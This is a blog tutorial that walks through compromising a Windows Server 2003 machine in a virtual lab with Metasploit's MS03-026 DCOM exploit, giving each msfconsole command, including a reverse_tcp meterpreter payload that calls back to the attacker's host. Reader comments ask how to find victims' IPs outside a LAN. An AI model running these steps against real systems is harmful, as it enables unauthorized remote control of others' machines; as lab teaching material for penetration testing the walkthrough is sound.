Home Cracking How to hack Remote PC with Metasploits (Windows 2003 server)

How to hack Remote PC with Metasploits (Windows 2003 server)

8
909

This is a a detailed step by step guide on How to hack Remote PC with Metasploits (Windows 2003 server). I’ve used BackTrack 5 and Windows 2003 server in a virtual environment. The ease of hacking is scary and readers, sysadmins are advised to update their Windows 2003 server to the latest patch/service pack and use additional antivirus, firewalls to protect them from similar situation. Exactly same commands can be used on Kali Linux, Ubuntu, Debian or any Linux that got Metasploits installed. In fact you can just do the whole thing from a Virtual Machine or USB and leave no trace whatsoever. The author takes no responsibility on how this tutorial is being used by readers and this is for educational purpose only. How-to-hack-Remote-PC-Windows-2003-server-with-Metasploits-blackMORE-Ops

Introduction

Metasploits is simple to use and is designed with ease-of-use in mind to aid Penetration Testers.
I will be taking you through this demo in BackTrack 5 R3, so go ahead and download that if you don’t already have it:

http://www.backtrack-linux.org/downloads/

(or)

http://www.kali.org/downloads/

The reason for using BackTrack 5 R3 is because it has the correct Ruby Libraries.

Metasploits framework has three work environments,

  1. The msfconsole,
  2. The msfcli interface and
  3. The msfweb interface.

However, the primary and the most preferred work area is the ‘msfconsole’. It is an efficient command-line interface that has its own command set and environment system.

Metasploits quick guide

Before executing your exploit, it is useful to understand what some Metasploits commands do. Below are some of the commands that you will use most. Graphical explanation of their outputs would be given as and when we use them while exploiting some boxes in later part of the article.

  1. search : Typing in the command search along with the keyword lists out the various possible exploits that have that keyword pattern.
  2. show exploits : Typing in the command show exploits‘ lists out the currently available exploits. There are remote exploits for various platforms and applications including Windows, Linux, IIS, Apache, and so on, which help to test the flexibility and understand the working of Metasploits.
  3. show payloads : With the same ‘show‘ command, we can also list the payloads available. We can use a ‘show payloads’ to list the payloads.
  4. show options : Typing in the command ‘show options‘ will show you options that you have set and possibly ones that you might have forgotten to set. Each exploit and payload comes with its own options that you can set.
  5. info : If you want specific information on an exploit or payload, you are able to use the ‘info’ command. Let’s say we want to get complete info of the payload ‘winbind’. We can use ‘info payload winbind‘.
  6. use : This command tells Metasploits to use the exploit with the specified name
  7. set RHOST : This command will instruct Metasploits to target the specified remote host.
  8. set RPORT : This command sets the port that Metasploits will connect to on the remote host.
  9. set PAYLOAD : This command sets the payload that is used to a generic payload that will give you a shell when a service is exploited.
  10. set LPORT : This command sets the port number that the payload will open on the server when an exploit is exploited. It is important that this port number be a port that can be opened on the server (i.e.it is not in use by another service and not reserved for administrative use), so set it to a random 4 digit number greater than 1024, and you should be fine. You’ll have to change the number each time you successfully exploit a service as well.
  11. exploit : Actually exploits the service. Another version of exploit, rexploit reloads your exploit code and then executes the exploit. This allows you to try minor changes to your exploit code without restarting the console
  12. help : The ‘help’ command will give you basic information of all the commands that are not listed out here.

Now that you are ready with all the basic commands you need to launch your exploit. Let’s choose a couple of scenarios to get control of a remotely connected machine.

Lab Setup:

Victim Machine
OS: Microsoft Windows Server 2003
IP: IP: 192.168.42.128

Attacker (Our) Machine
OS: BackTrack 5 R3
Kernel version: Linux bt 2.6.38 #1 SMP Thu Mar 17 20:52:18 EDT 2011 i686 GNU/Linux
Metasploits Version: Built in version of metasploits 3.8.0-dev
IP: 192.168.42.128

Objective

The only information provided to us about the remote server is that it is a Windows 2003 Server and the Objective is to gain shell access of this remote server.

Detailed Steps

Step 1 – Scan with nmap for open ports

Perform an nmap scan of the remote server 192.168.42.129.
The output of the nmap scan shows us a range of ports open which can be seen below in Figure 1.

 

Step-1-Scan-with-nmap-for-open-ports

 

Figure 1

We notice that there is port 135 open. Thus we can look for scripts in Metasploits to exploit and gain shell access if this server is vulnerable.

Step 2 – Open msfconsole

In your copy of BackTrack, go to:
Application > BackTrack > Exploitation Tools > Network Exploitation Tools > Metasploits Framework > msfconsole

Step-2-1-Open-msfconsole-blackMORE-Ops

Figure 2

During the initialization of msfconsole, standard checks are performed. If everything works out fine we will see the display as shown in Figure 3.

Step-2-Open-msfconsole-2-blackMORE-Ops

 

Figure 3

Step 3 – Search RPC exploit in Metasploits

Now, we know that port 135 is open so, we search for a related RPC exploit in Metasploit.
To list out all the exploits supported by Metasploits we use the “show exploits” command. This exploit lists out all the currently available exploits and a small portion of it is shown below in Figure 4.

Step-3-1-Search-RPC-exploit-in-Metasploit-blackMORE-Ops

 

Figure 4

As you may have noticed, the default installation of the Metasploits Framework 3.8.0-dev comes with 696 exploits and 224 payloads, which is quite an impressive stockpile thus finding a specific exploit from this huge list would be a real tedious task. So, we use a better option. You can either visit the link http://metasploit.com/modules/ or another alternative would be to use the “search” command in Metasploit to search for related exploits for RPC.
In msfconsole type “search dcerpc” to search all the exploits related to dcerpc keyword as that exploit can be used to gain access to the server with a vulnerable port 135. A list of all the related exploits would be presented on the msfconsole window and this is shown below in Figure 5.

 

Step-3-Search-RPC-exploit-in-Metasploit-2-blackMORE-Ops

Figure 5

Step 4 – Gather info about target exploit

Now that you have the list of rpc exploits in front of you, we would need more information about the exploit before we actually use it. To get more information regarding the exploit you can use the command “info exploit/windows/dcerpc/ms03_026_dcom” which provides information such as available targets, exploit requirements, details of vulnerability itself, and even references where you can find more information. This is shown in Figure 6.

 

Step-4-Gather-info-about-target-exploit-blackMORE-Ops

Figure 6

Step 5 – Activate exploit

The command “use” activates the exploit environment for the exploit. In our case we would use the command “use exploit/windows/dcerpc/ms03_026_dcom” to activate our exploit.

 

Step-5-Activate-exploit-blackMORE-Ops

Figure 7

From the above figure it is noticed that, after the use of the exploit “exploit/windows/dcerpc/ms03_026_dcom” the prompt changes from “msf>” to “msf exploit(ms03_026_dcom) >” which symbolizes that we have entered a temporary environment of that exploit.

Step 6 – Configure exploit

Now, we need to configure the exploit as per the need of the current scenario. The “show options” command displays the various parameters which are required for the exploit to be launched properly. In our case, the RPORT is already set to 135 and the only option to be set is RHOST which can be set using the “set RHOST” command.
We enter the command “set RHOST 192.168.42.129” and we see that the RHOST is set to 192.168.42.129

 

Step-6-Configure-exploit-blackMORE-Ops

Figure 8

Step 7 – Set payload for exploit

The only step remaining now before we launch the exploit is setting the payload for the exploit. We can view all the available payloads using the “show payloads” command.
As shown in the below figure, “show payloads” command will list all payloads that are compatible with the selected exploit.

 

Step-7-1-Set-payload-for-exploit-blackMORE-Ops

 

Figure 9

For our case, we are using the reverse tcp meterpreter which can be set using the command, “set PAYLOAD windows/meterpreter/reverse_tcp” which spawns a shell if the remote server is successfully exploited. Now again you must view the available options using “show options” to make sure all the compulsory sections are properly filled so that the exploit is launched properly

 

Step-7-Set-payload-for-exploit-2-blackMORE-Ops

Figure 10

We notice that the LHOST for out payload is not set, so we set it to out local IP ie. 192.168.42.128 using the command “set LHOST 192.168.42.128

Step 8 – Launch exploit and establish connection

Now that everything is ready and the exploit has been configured properly it’s time to launch the exploit.

You can use the “check” command to check whether the victim machine is vulnerable to the exploit or not. This option is not present for all the exploits but can be a real good support system before you actually exploit the remote server to make sure the remote server is not patched against the exploit you are trying against it.

In out case as shown in the Figure below, our selected exploit does not support the check option.

 

Step-8-Launch-exploit-and-establish-connection-blackMORE-Ops

Figure 11

The “exploit” command actually launches the attack, doing whatever it needs to do to have the payload executed on the remote system.

 

Step-8-1-Launch-exploit-and-establish-connection-2-blackMORE-Ops

Figure 12

The above figure shows that the exploit was successfully executed against the remote machine 192.168.42.129 due to the vulnerable port 135.

This is indicated by change in prompt to “meterpreter >“.

Step 9 – Perform an action on hacked server

Now that a reverse connection has been setup between the victim and our machine, we have complete control of the server.

We can use the help command to see which all commands can be used by us on the remote server to perform the related actions as displayed in the below Figure.

Below are the results of some of the meterpreter commands.

Step-9-Perform-an-action-on-hacked-server-blackMORE-Ops

 

Figure 13

Step-9-1-Perform-an-action-on-hacked-server-2-blackMORE-Ops

 

Figure 14

 

Don’t forget to check our other posts:

How to benchmark Pyrit

Recovering Wifi WPA/WPA2 passwords using Reaver-WPS

 

Thanks for reading.

Please follow us on Facebook for regular updates.

8 COMMENTS

  1. i didnt find some one open host tried many ip’s and some ip ports was filtered but not opened and some was host down or up ! i didnt find some one ip port opened expect my another os ! is it just works with the lan attached pc ??? becoz ip of every tut starts with 192.xx.xx it means that they have already linked in by router aur pc ! we cant hack some one pc who have different type of ip like 39.182.xxx / 182.222.xxx / 54.68.xxx in these formats ???

  2. Everything is well explained but How do we find the Victim’s IP in the First place,lol i may sound dumb ,I’m a newbie in all these matters

Comments are closed.